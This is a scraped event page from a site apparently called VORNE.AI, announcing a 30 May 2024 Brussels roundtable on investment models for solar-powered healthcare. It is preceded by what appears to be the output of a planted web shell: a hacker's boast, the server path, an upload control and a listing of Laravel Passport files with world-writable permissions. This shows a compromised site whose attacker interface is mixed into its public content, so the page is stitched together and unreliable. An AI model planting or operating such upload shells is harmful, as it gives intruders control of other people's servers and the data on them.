I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
ApiTokenCookieFactory.php2147 KBMarch 18 2023 19:25:200666
AuthCode.php1169 KBMarch 18 2023 19:25:200666
Bridge-March 18 2023 19:25:200777
Client.php4297 KBMarch 18 2023 19:25:200666
ClientRepository.php6811 KBMarch 18 2023 19:25:200666
Console-March 18 2023 19:25:200777
Contracts-March 18 2023 19:25:200777
Events-March 18 2023 19:25:200777
Exceptions-March 18 2023 19:25:200777
Guards-March 18 2023 19:25:200777
HasApiTokens.php2026 KBMarch 18 2023 19:25:200666
Http-March 18 2023 19:25:200777
Passport.php17288 KBMarch 18 2023 19:25:200666
PassportServiceProvider.php11137 KBMarch 18 2023 19:25:200666
PassportUserProvider.php1853 KBMarch 18 2023 19:25:200666
PersonalAccessClient.php627 KBMarch 18 2023 19:25:200666
PersonalAccessTokenFactory.php3810 KBMarch 18 2023 19:25:200666
PersonalAccessTokenResult.php1175 KBMarch 18 2023 19:25:200666
RefreshToken.php1534 KBMarch 18 2023 19:25:200666
RefreshTokenRepository.php1638 KBMarch 18 2023 19:25:200666
Scope.php1106 KBMarch 18 2023 19:25:200666
Token.php2984 KBMarch 18 2023 19:25:200666
TokenRepository.php3010 KBMarch 18 2023 19:25:200666
TransientToken.php610 KBMarch 18 2023 19:25:200666
VORNE.AI - Event Details
Building Investment Models for Solarising Health
30 May
2024
CHIEF

Building Investment Models for Solarising Health

Lack of reliable electricity is a major impediment to scaling access to healthcare. Solar solutions are already demonstrating great potential to transform last mile health care and pandemic preparedness. This roundtable brings select ministers and investors from the multilaterals and private sector to explore investment models for scaling access to electricity for healthcare.

Thursday 30 May | 18H00-19H30 | Intercontinental Hotel, Bruxelles

Tags: